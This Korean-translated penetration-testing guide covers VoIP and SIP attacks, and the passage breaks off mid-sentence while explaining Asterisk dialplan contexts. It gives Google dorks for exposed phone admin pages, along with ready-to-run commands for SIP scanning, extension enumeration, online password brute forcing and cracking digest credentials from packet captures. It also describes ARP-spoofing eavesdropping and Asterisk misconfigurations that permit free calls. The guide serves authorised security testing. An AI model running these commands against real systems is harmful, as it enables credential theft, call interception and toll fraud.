# Pentesting VoIP {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## VoIP κΈ°λ³Έ 정보 VoIP μž‘λ™ 방식에 λŒ€ν•΄ 배우렀면 λ‹€μŒμ„ ν™•μΈν•˜μ„Έμš”: {% content-ref url="basic-voip-protocols/" %} [basic-voip-protocols](basic-voip-protocols/) {% endcontent-ref %} ## κΈ°λ³Έ λ©”μ‹œμ§€ ``` Request name Description RFC references ------------------------------------------------------------------------------------------------------ REGISTER Register a SIP user. RFC 3261 INVITE Initiate a dialog for establishing a call. RFC 3261 ACK Confirm that an entity has received. RFC 3261 BYE Signal termination of a dialog and end a call. RFC 3261 CANCEL Cancel any pending request. RFC 3261 UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311 REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515 PRACK Provisional acknowledgement. RFC 3262 SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665 NOTIFY Inform a subscriber of notifications of a new event. RFC 6665 PUBLISH Publish an event to a notification server. RFC 3903 MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## Response Codes **1xxβ€”μž„μ‹œ 응닡** ``` 100 Trying 180 Ringing 181 Call is Being Forwarded 182 Queued 183 Session Progress 199 Early Dialog Terminated ``` **2xx—성곡적인 응닡** ``` 200 OK 202 Accepted 204 No Notification ``` **3xxβ€”λ¦¬λ””λ ‰μ…˜ 응닡** ``` 300 Multiple Choices 301 Moved Permanently 302 Moved Temporarily 305 Use Proxy 380 Alternative Service ``` **4xxβ€”ν΄λΌμ΄μ–ΈνŠΈ μ‹€νŒ¨ 응닡** ``` 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 412 Conditional Request Failed 413 Request Entity Too Large 414 Request-URI Too Long 415 Unsupported Media Type 416 Unsupported URI Scheme 417 Unknown Resource-Priority 420 Bad Extension 421 Extension Required 422 Session Interval Too Small 423 Interval Too Brief 424 Bad Location Information 425 Bad Alert Message 428 Use Identity Header 429 Provide Referrer Identity 430 Flow Failed 433 Anonymity Disallowed 436 Bad Identity-Info 437 Unsupported Certificate 438 Invalid Identity Header 439 First Hop Lacks Outbound Support 440 Max-Breadth Exceeded 469 Bad Info Package 470 Consent Needed 480 Temporarily Unavailable 481 Call/Transaction Does Not Exist 482 Loop Detected 483 Too Many Hops 484 Address Incomplete 485 Ambiguous 486 Busy Here 487 Request Terminated 488 Not Acceptable Here 489 Bad Event 491 Request Pending 493 Undecipherable 494 Security Agreement Required ``` **5xxβ€”μ„œλ²„ μ‹€νŒ¨ 응닡** ``` 500 Internal Server Error 501 Not Implemented 502 Bad Gateway 503 Service Unavailable 504 Server Time-out 505 Version Not Supported 513 Message Too Large 555 Push Notification Service Not Supported 580 Precondition Failure ``` **6xxβ€”μ „μ—­ μ‹€νŒ¨ 응닡** ``` 600 Busy Everywhere 603 Decline 604 Does Not Exist Anywhere 606 Not Acceptable 607 Unwanted 608 Rejected ``` ## VoIP Enumeration ### Telephone Numbers Red Team이 ν•  수 μžˆλŠ” 첫 번째 단계 쀑 ν•˜λ‚˜λŠ” OSINT 도ꡬ, Google 검색 λ˜λŠ” μ›Ή νŽ˜μ΄μ§€ μŠ€ν¬λž˜ν•‘μ„ μ‚¬μš©ν•˜μ—¬ νšŒμ‚¬μ— 연락할 수 μžˆλŠ” μ „ν™”λ²ˆν˜Έλ₯Ό κ²€μƒ‰ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. μ „ν™”λ²ˆν˜Έλ₯Ό ν™•λ³΄ν•œ ν›„μ—λŠ” 온라인 μ„œλΉ„μŠ€λ₯Ό μ‚¬μš©ν•˜μ—¬ 운영자λ₯Ό 식별할 수 μžˆμŠ΅λ‹ˆλ‹€: * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://www.whitepages.com/](https://www.whitepages.com/) * [https://www.twilio.com/lookup](https://www.twilio.com/lookup) μš΄μ˜μžκ°€ VoIP μ„œλΉ„μŠ€λ₯Ό μ œκ³΅ν•˜λŠ”μ§€ μ•„λŠ” 것은 νšŒμ‚¬κ°€ VoIPλ₯Ό μ‚¬μš©ν•˜κ³  μžˆλŠ”μ§€ μ‹λ³„ν•˜λŠ” 데 도움이 λ©λ‹ˆλ‹€... κ²Œλ‹€κ°€, νšŒμ‚¬κ°€ VoIP μ„œλΉ„μŠ€λ₯Ό κ³„μ•½ν•˜μ§€ μ•Šμ•˜μ§€λ§Œ PSTN μΉ΄λ“œλ₯Ό μ‚¬μš©ν•˜μ—¬ 자체 VoIP PBXλ₯Ό 전톡적인 μ „ν™” λ„€νŠΈμ›Œν¬μ— μ—°κ²°ν•˜κ³  μžˆμ„ κ°€λŠ₯성도 μžˆμŠ΅λ‹ˆλ‹€. μŒμ•…μ˜ μžλ™ 응닡과 같은 것듀은 일반적으둜 VoIPκ°€ μ‚¬μš©λ˜κ³  μžˆμŒμ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. ### Google Dorks ```bash # Grandstream phones intitle:"Grandstream Device Configuration" Password intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org # Cisco Callmanager inurl:"ccmuser/logon.asp" intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button" # Cisco phones inurl:"NetworkConfiguration" cisco # Linksys phones intitle:"Sipura SPA Configuration" # Snom phones intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm # Polycom SoundPoint IP & phones intitle:"SoundPoint IP Configuration Utility - Registration" "Welcome to Polycom Web Configuration Utility" "Login as" "Password" intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm" intitle:"Polycom Login" inurl:"/login.html" intitle:"Polycom Login" -.com # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration" ``` ### OSINT 정보 VoIP μ†Œν”„νŠΈμ›¨μ–΄λ₯Ό μ‹λ³„ν•˜λŠ” 데 도움이 λ˜λŠ” λ‹€λ₯Έ OSINT μ—΄κ±°λŠ” Red Team에 μœ μš©ν•  κ²ƒμž…λ‹ˆλ‹€. ### λ„€νŠΈμ›Œν¬ μ—΄κ±° * **`nmap`**은 UDP μ„œλΉ„μŠ€λ₯Ό μŠ€μΊ”ν•  수 μžˆμ§€λ§Œ, μŠ€μΊ”λ˜λŠ” UDP μ„œλΉ„μŠ€μ˜ 수 λ•Œλ¬Έμ— 맀우 느리고 μ΄λŸ¬ν•œ μ’…λ₯˜μ˜ μ„œλΉ„μŠ€μ— λŒ€ν•΄ μ •ν™•ν•˜μ§€ μ•Šμ„ 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` * **`svmap`** from SIPVicious (`sudo apt install sipvicious`): μ§€μ •λœ λ„€νŠΈμ›Œν¬μ—μ„œ SIP μ„œλΉ„μŠ€λ₯Ό μ°ΎμŠ΅λ‹ˆλ‹€. * `svmap`은 User-Agent `friendly-scanner`λ₯Ό μ‚¬μš©ν•˜κΈ° λ•Œλ¬Έμ— **μ°¨λ‹¨ν•˜κΈ° μ‰½μŠ΅λ‹ˆλ‹€**, ν•˜μ§€λ§Œ `/usr/share/sipvicious/sipvicious`의 μ½”λ“œλ₯Ό μˆ˜μ •ν•˜μ—¬ λ³€κ²½ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` * **`SIPPTS μŠ€μΊ”`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS μŠ€μΊ”μ€ UDP, TCP λ˜λŠ” TLSλ₯Ό ν†΅ν•œ SIP μ„œλΉ„μŠ€μ— λŒ€ν•œ 맀우 λΉ λ₯Έ μŠ€μΊλ„ˆμž…λ‹ˆλ‹€. λ©€ν‹°μŠ€λ ˆλ“œλ₯Ό μ‚¬μš©ν•˜λ©° λŒ€κ·œλͺ¨ λ„€νŠΈμ›Œν¬ λ²”μœ„λ₯Ό μŠ€μΊ”ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 포트 λ²”μœ„λ₯Ό μ‰½κ²Œ μ§€μ •ν•˜κ³ , TCP와 UDPλ₯Ό λͺ¨λ‘ μŠ€μΊ”ν•˜λ©°, λ‹€λ₯Έ 방법을 μ‚¬μš©ν•  수 있고(기본적으둜 OPTIONSλ₯Ό μ‚¬μš©), λ‹€λ₯Έ User-Agentλ₯Ό 지정할 수 μžˆμŠ΅λ‹ˆλ‹€(기타 λ“±λ“±). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] [!] IP/Network: 10.10.0.0/24 [!] Port range: 5060-5080 [!] Protocol: UDP, TCP, TLS [!] Method to scan: REGISTER [!] Customized User-Agent: Cisco [!] Used threads: 200 ``` * **metasploit**: ``` auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### Extra Network Enumeration PBXλŠ” λ‹€μŒκ³Ό 같은 λ‹€λ₯Έ λ„€νŠΈμ›Œν¬ μ„œλΉ„μŠ€λ₯Ό λ…ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€: * **69/UDP (TFTP)**: νŽŒμ›¨μ–΄ μ—…λ°μ΄νŠΈ * **80 (HTTP) / 443 (HTTPS)**: μ›Ήμ—μ„œ μž₯치λ₯Ό κ΄€λ¦¬ν•˜κΈ° μœ„ν•΄ * **389 (LDAP)**: μ‚¬μš©μž 정보λ₯Ό μ €μž₯ν•˜λŠ” λŒ€μ•ˆ * **3306 (MySQL)**: MySQL λ°μ΄ν„°λ² μ΄μŠ€ * **5038 (Manager)**: λ‹€λ₯Έ ν”Œλž«νΌμ—μ„œ Asteriskλ₯Ό μ‚¬μš©ν•  수 있게 함 * **5222 (XMPP)**: Jabberλ₯Ό μ‚¬μš©ν•œ λ©”μ‹œμ§€ * **5432 (PostgreSQL)**: PostgreSQL λ°μ΄ν„°λ² μ΄μŠ€ * 기타... ### Methods Enumeration PBXμ—μ„œ μ‚¬μš©ν•  수 μžˆλŠ” **λ©”μ„œλ“œ**λ₯Ό μ°ΎλŠ” 것은 `SIPPTS enumerate`λ₯Ό μ‚¬μš©ν•˜μ—¬ κ°€λŠ₯ν•©λ‹ˆλ‹€ [**sippts**](https://github.com/Pepelux/sippts) ```bash sippts enumerate -i 10.10.0.10 ``` ### μ„œλ²„ 응닡 뢄석 μ„œλ²„κ°€ μš°λ¦¬μ—κ²Œ λ³΄λ‚΄λŠ” 헀더λ₯Ό λΆ„μ„ν•˜λŠ” 것은 맀우 μ€‘μš”ν•©λ‹ˆλ‹€. μ΄λŠ” μš°λ¦¬κ°€ λ³΄λ‚΄λŠ” λ©”μ‹œμ§€μ™€ ν—€λ”μ˜ μœ ν˜•μ— 따라 λ‹¬λΌμ§‘λ‹ˆλ‹€. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`λ₯Ό μ‚¬μš©ν•˜λ©΄ λͺ¨λ“  헀더λ₯Ό μ‘°μž‘ν•˜μ—¬ κ°œμΈν™”λœ λ©”μ‹œμ§€λ₯Ό 보낼 수 있으며, 응닡을 뢄석할 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` μ„œλ²„κ°€ μ›Ήμ†ŒμΌ“μ„ μ‚¬μš©ν•˜λŠ” 경우 데이터에 μ ‘κ·Όν•˜λŠ” 것도 κ°€λŠ₯ν•©λ‹ˆλ‹€. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS wssend`λ₯Ό μ‚¬μš©ν•˜μ—¬ κ°œμΈν™”λœ WS λ©”μ‹œμ§€λ₯Ό 보낼 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration PBX(Private Branch Exchange) μ‹œμŠ€ν…œμ—μ„œ ν™•μž₯은 **μ‘°μ§μ΄λ‚˜ λΉ„μ¦ˆλ‹ˆμŠ€ λ‚΄μ˜ κ°œλ³„** μ „ν™”μ„ , μž₯치 λ˜λŠ” μ‚¬μš©μžμ—κ²Œ ν• λ‹Ήλœ **κ³ μœ ν•œ λ‚΄λΆ€ μ‹λ³„μž**λ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. ν™•μž₯은 **쑰직 λ‚΄μ—μ„œ μ „ν™”λ₯Ό 효율적으둜 λΌμš°νŒ…**ν•  수 있게 ν•˜μ—¬ 각 μ‚¬μš©μžλ‚˜ μž₯μΉ˜μ— λŒ€ν•œ κ°œλ³„ μ™ΈλΆ€ μ „ν™”λ²ˆν˜Έκ°€ ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. * **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`λŠ” 무료 SIP PBX ν™•μž₯μ„  μŠ€μΊλ„ˆμž…λ‹ˆλ‹€. κ°œλ…μ μœΌλ‘œ 전톡적인 μ›Œλ“œλ‹€μ΄μ–ΌλŸ¬μ™€ μœ μ‚¬ν•˜κ²Œ **ν™•μž₯ λ²”μœ„ λ˜λŠ” 주어진 ν™•μž₯ λͺ©λ‘μ„ μΆ”μΈ‘**ν•˜μ—¬ μž‘λ™ν•©λ‹ˆλ‹€. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` * **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten은 SIP μ„œλ²„μ—μ„œ ν™•μž₯을 μ‹λ³„ν•©λ‹ˆλ‹€. Sipexten은 λŒ€κ·œλͺ¨ λ„€νŠΈμ›Œν¬ 및 포트 λ²”μœ„λ₯Ό 확인할 수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` * **metasploit**: metasploit을 μ‚¬μš©ν•˜μ—¬ ν™•μž₯/μ‚¬μš©μž 이름을 μ—΄κ±°ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€: ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` * **`enumiax` (`apt install enumiax`): enumIAX**λŠ” Inter Asterisk Exchange ν”„λ‘œν† μ½œ **μ‚¬μš©μž 이름 무차별 λŒ€μž… μ—΄κ±°κΈ°**μž…λ‹ˆλ‹€. enumIAXλŠ” 두 가지 λͺ¨λ“œμ—μ„œ μž‘λ™ν•  수 μžˆμŠ΅λ‹ˆλ‹€; 순차적 μ‚¬μš©μž 이름 μΆ”μΈ‘ λ˜λŠ” 사전 곡격. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` ## VoIP 곡격 ### λΉ„λ°€λ²ˆν˜Έ 무차별 λŒ€μž… - 온라인 **PBX**와 일뢀 **ν™•μž₯/μ‚¬μš©μž 이름**을 λ°œκ²¬ν•œ ν›„, Red Team은 일반 λΉ„λ°€λ²ˆν˜Έ 사전을 μ‚¬μš©ν•˜μ—¬ 인증을 무차별 λŒ€μž…ν•˜κΈ° μœ„ν•΄ **`REGISTER` 방법**을 톡해 ν™•μž₯에 인증을 μ‹œλ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€. {% hint style="danger" %} **μ‚¬μš©μž 이름**이 ν™•μž₯κ³Ό 동일할 수 μžˆμ§€λ§Œ, 이 관행은 PBX μ‹œμŠ€ν…œ, ꡬ성 및 쑰직의 μ„ ν˜Έλ„μ— 따라 λ‹€λ₯Ό 수 μžˆμŠ΅λ‹ˆλ‹€... μ‚¬μš©μž 이름이 ν™•μž₯κ³Ό λ™μΌν•˜μ§€ μ•Šμ€ 경우, **무차별 λŒ€μž…μ„ μœ„ν•΄ μ‚¬μš©μž 이름을 μ•Œμ•„λ‚΄μ•Ό ν•©λ‹ˆλ‹€**. {% endhint %} * **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBXμ—μ„œ νŠΉμ • μ‚¬μš©μž 이름/ν™•μž₯의 λΉ„λ°€λ²ˆν˜Έλ₯Ό 해독할 수 있게 ν•΄μ€λ‹ˆλ‹€. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` * **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack은 SIP μ„œλΉ„μŠ€μš© 원격 λΉ„λ°€λ²ˆν˜Έ ν¬λž˜μ»€μž…λ‹ˆλ‹€. Rcrack은 μ—¬λŸ¬ μ‚¬μš©μžμ— λŒ€ν•΄ λ‹€μ–‘ν•œ IP 및 포트 λ²”μœ„μ—μ„œ λΉ„λ°€λ²ˆν˜Έλ₯Ό ν…ŒμŠ€νŠΈν•  수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` * **Metasploit**: * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb) ### VoIP μŠ€λ‹ˆν•‘ **Open Wifi λ„€νŠΈμ›Œν¬** λ‚΄μ—μ„œ VoIP μž₯λΉ„λ₯Ό λ°œκ²¬ν•˜λ©΄ **λͺ¨λ“  정보λ₯Ό μŠ€λ‹ˆν•‘**ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ, 더 νμ‡„λœ λ„€νŠΈμ›Œν¬(이더넷 λ˜λŠ” 보호된 Wifiλ₯Ό 톡해 μ—°κ²°λœ 경우) λ‚΄μ—μ„œλŠ” **PBX와 κ²Œμ΄νŠΈμ›¨μ΄** 간에 **MitM 곡격**인 [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)을 μˆ˜ν–‰ν•˜μ—¬ 정보λ₯Ό μŠ€λ‹ˆν•‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ„€νŠΈμ›Œν¬ 정보 μ€‘μ—λŠ” μž₯λΉ„λ₯Ό κ΄€λ¦¬ν•˜κΈ° μœ„ν•œ **μ›Ή 자격 증λͺ…**, μ‚¬μš©μž **λ‚΄μ„ **, **μ‚¬μš©μž 이름**, **IP** μ£Όμ†Œ, 심지어 **ν•΄μ‹œλœ λΉ„λ°€λ²ˆν˜Έ**와 **RTP νŒ¨ν‚·**이 ν¬ν•¨λ˜μ–΄ μžˆμ–΄ **λŒ€ν™”λ₯Ό 듀을 수** μžˆμŠ΅λ‹ˆλ‹€. 이 정보λ₯Ό μ–»κΈ° μœ„ν•΄ Wireshark, tcpdump와 같은 도ꡬλ₯Ό μ‚¬μš©ν•  수 μžˆμ§€λ§Œ, **VoIP λŒ€ν™”λ₯Ό μŠ€λ‹ˆν•‘ν•˜κΈ° μœ„ν•΄ νŠΉλ³„νžˆ μ œμž‘λœ λ„κ΅¬λŠ”** [**ucsniff**](https://github.com/Seabreg/ucsniff)μž…λ‹ˆλ‹€. {% hint style="danger" %} **SIP 톡신에 TLSκ°€ μ‚¬μš©λ˜λŠ” 경우** SIP 톡신을 λͺ…ν™•ν•˜κ²Œ λ³Ό 수 μ—†μŠ΅λ‹ˆλ‹€.\ **SRTP** 및 **ZRTP**κ°€ μ‚¬μš©λ˜λŠ” κ²½μš°μ—λ„ **RTP νŒ¨ν‚·μ€ 평문이 μ•„λ‹™λ‹ˆλ‹€**. {% endhint %} #### SIP 자격 증λͺ… (λΉ„λ°€λ²ˆν˜Έ 브루트포슀 - μ˜€ν”„λΌμΈ) [**SIP REGISTER 톡신**을 더 잘 μ΄ν•΄ν•˜κΈ° μœ„ν•œ 이 예제λ₯Ό ν™•μΈν•˜μ„Έμš”](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **자격 증λͺ…이 μ–΄λ–»κ²Œ μ „μ†‘λ˜λŠ”μ§€** 배우기 μœ„ν•΄. * **`sipdump`** & **`sipcrack`,** **sipcrack**의 일뢀(`apt-get install sipcrack`): 이 도ꡬ듀은 **pcap**μ—μ„œ SIP ν”„λ‘œν† μ½œ λ‚΄μ˜ **λ‹€μ΄μ œμŠ€νŠΈ 인증**을 **μΆ”μΆœ**ν•˜κ³  **브루트포슀**ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` * **`SIPPTS dump`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS λ€ν”„λŠ” pcap νŒŒμΌμ—μ„œ λ‹€μ΄μ œμŠ€νŠΈ 인증을 μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€. ```bash sippts dump -f capture.pcap -o data.txt ``` * **`SIPPTS dcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack은 SIPPTS λ€ν”„μ—μ„œ 얻은 λ‹€μ΄μ œμŠ€νŠΈ 인증을 ν¬λž™ν•˜λŠ” λ„κ΅¬μž…λ‹ˆλ‹€. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` * **`SIPPTS tshark`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tsharkλŠ” PCAP νŒŒμΌμ—μ„œ SIP ν”„λ‘œν† μ½œμ˜ 데이터λ₯Ό μΆ”μΆœν•©λ‹ˆλ‹€. ```bash sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF μ½”λ“œ **SIP 자격 증λͺ…**뿐만 μ•„λ‹ˆλΌ λ„€νŠΈμ›Œν¬ νŠΈλž˜ν”½μ—μ„œ **μŒμ„± 메일**에 μ ‘κ·Όν•˜λŠ” 데 μ‚¬μš©λ˜λŠ” DTMF μ½”λ“œλ₯Ό μ°ΎλŠ” 것도 κ°€λŠ₯ν•©λ‹ˆλ‹€.\ 이 μ½”λ“œλŠ” **INFO SIP λ©”μ‹œμ§€**, **μ˜€λ””μ˜€** λ˜λŠ” **RTP νŒ¨ν‚·** λ‚΄μ—μ„œ 전솑할 수 μžˆμŠ΅λ‹ˆλ‹€. RTP νŒ¨ν‚· 내에 μ½”λ“œκ°€ μžˆλŠ” 경우, λŒ€ν™”μ˜ ν•΄λ‹Ή 뢀뢄을 μž˜λΌλ‚΄κ³  multimo 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash multimon -a DTMF -t wac pin.wav ``` ### 무료 톡화 / Asterisks μ—°κ²° 잘λͺ» ꡬ성 Asteriskμ—μ„œλŠ” **νŠΉμ • IP μ£Όμ†Œ**μ—μ„œμ˜ μ—°κ²° λ˜λŠ” **λͺ¨λ“  IP μ£Όμ†Œ**μ—μ„œμ˜ 연결을 ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ``` host=10.10.10.10 host=dynamic ``` If an IP address is specified, the host **REGISTER** μš”μ²­μ„ 주기적으둜 보낼 ν•„μš”κ°€ μ—†μŠ΅λ‹ˆλ‹€ (REGISTER νŒ¨ν‚·μ—λŠ” 일반적으둜 30뢄인 생쑴 μ‹œκ°„μ΄ ν¬ν•¨λ˜μ–΄ μžˆμ–΄, λ‹€λ₯Έ μ‹œλ‚˜λ¦¬μ˜€μ—μ„œλŠ” μ „ν™”κ°€ 30λΆ„λ§ˆλ‹€ REGISTERλ₯Ό ν•΄μ•Ό ν•©λ‹ˆλ‹€). κ·ΈλŸ¬λ‚˜ VoIP μ„œλ²„μ—μ„œ μ „ν™”λ₯Ό 받을 수 μžˆλ„λ‘ 연결을 ν—ˆμš©ν•˜λŠ” μ—΄λ¦° ν¬νŠΈκ°€ ν•„μš”ν•©λ‹ˆλ‹€. μ‚¬μš©μžλ₯Ό μ •μ˜ν•˜λ €λ©΄ λ‹€μŒκ³Ό 같이 μ •μ˜ν•  수 μžˆμŠ΅λ‹ˆλ‹€: * **`type=user`**: μ‚¬μš©μžλŠ” μ‚¬μš©μžλ‘œμ„œλ§Œ μ „ν™”λ₯Ό 받을 수 μžˆμŠ΅λ‹ˆλ‹€. * **`type=friend`**: ν”Όμ–΄λ‘œ μ „ν™”λ₯Ό κ±Έκ³  μ‚¬μš©μžλ‘œμ„œ 받을 수 μžˆμŠ΅λ‹ˆλ‹€ (ν™•μž₯κ³Ό ν•¨κ»˜ μ‚¬μš©λ¨) * **`type=peer`**: ν”Όμ–΄λ‘œ μ „ν™”λ₯Ό 보내고 받을 수 μžˆμŠ΅λ‹ˆλ‹€ (SIP-trunks) μ‹ λ’°λ₯Ό μ„€μ •ν•˜λŠ” 것도 κ°€λŠ₯ν•©λ‹ˆλ‹€: * **`insecure=port`**: IP둜 κ²€μ¦λœ ν”Όμ–΄ 연결을 ν—ˆμš©ν•©λ‹ˆλ‹€. * **`insecure=invite`**: INVITE λ©”μ‹œμ§€μ— λŒ€ν•œ 인증이 ν•„μš”ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. * **`insecure=port,invite`**: λ‘˜ λ‹€ {% hint style="warning" %} **`type=friend`**κ°€ μ‚¬μš©λ  λ•Œ, **host** λ³€μˆ˜μ˜ **κ°’**은 **μ‚¬μš©λ˜μ§€ μ•ŠμœΌλ―€λ‘œ**, κ΄€λ¦¬μžκ°€ ν•΄λ‹Ή 값을 μ‚¬μš©ν•˜μ—¬ **SIP-trunkλ₯Ό 잘λͺ» κ΅¬μ„±ν•˜λ©΄**, **λˆ„κ΅¬λ‚˜ μ—°κ²°ν•  수 μžˆμŠ΅λ‹ˆλ‹€**. 예λ₯Ό λ“€μ–΄, 이 ꡬ성은 μ·¨μ•½ν•  κ²ƒμž…λ‹ˆλ‹€:\ `host=10.10.10.10`\ `insecure=port,invite`\ `type=friend` {% endhint %} ### 무료 톡화 / Asterisks μ»¨ν…μŠ€νŠΈ 잘λͺ» ꡬ성 Asteriskμ—μ„œ **μ»¨ν…μŠ€νŠΈ**λŠ” **κ΄€λ ¨λœ ν™•μž₯, μž‘μ—… 및 κ·œμΉ™μ„ κ·Έλ£Ήν™”ν•˜λŠ”** 이름이 μžˆλŠ” μ»¨ν…Œμ΄λ„ˆ λ˜λŠ” μ„Ήμ…˜μž…λ‹ˆλ‹€. 닀이얼 ν”Œλžœμ€ Asterisk μ‹œμŠ€ν…œμ˜ 핡심 ꡬ성 μš”μ†Œλ‘œ, **μˆ˜μ‹  및 λ°œμ‹  μ „ν™”λ₯Ό μ²˜λ¦¬ν•˜κ³  λΌμš°νŒ…ν•˜λŠ” 방법을 μ •μ˜ν•©λ‹ˆλ‹€**. μ»¨ν…μŠ€νŠΈλŠ” 닀이얼 ν”Œλžœμ„ κ΅¬μ„±ν•˜κ³ , μ ‘κ·Ό μ œμ–΄λ₯Ό κ΄€λ¦¬ν•˜λ©°, μ‹œμŠ€ν…œμ˜ μ„œλ‘œ λ‹€λ₯Έ λΆ€λΆ„ κ°„μ˜ 뢄리λ₯Ό μ œκ³΅ν•©λ‹ˆλ‹€. 각 μ»¨ν…μŠ€νŠΈλŠ” ꡬ성 파일, 일반적으둜 **`extensions.conf`** νŒŒμΌμ— μ •μ˜λ©λ‹ˆλ‹€. μ»¨ν…μŠ€νŠΈλŠ” λŒ€κ΄„ν˜Έλ‘œ ν‘œμ‹œλ˜λ©°, κ·Έ μ•ˆμ— μ»¨ν…μŠ€νŠΈ 이름이 ν¬ν•¨λ©λ‹ˆλ‹€. 예: ```bash csharpCopy code[my_context] ``` λ‚΄λΆ€ μ»¨ν…μŠ€νŠΈμ—μ„œ, 당신은 ν™•μž₯(λ‹€μ΄μ–Όλœ 번호의 νŒ¨ν„΄)을 μ •μ˜ν•˜κ³  이λ₯Ό 일련의 λ™μž‘μ΄λ‚˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜κ³Ό μ—°κ΄€μ‹œν‚΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ™μž‘μ€ 톡화가 μ²˜λ¦¬λ˜λŠ” 방식을 κ²°μ 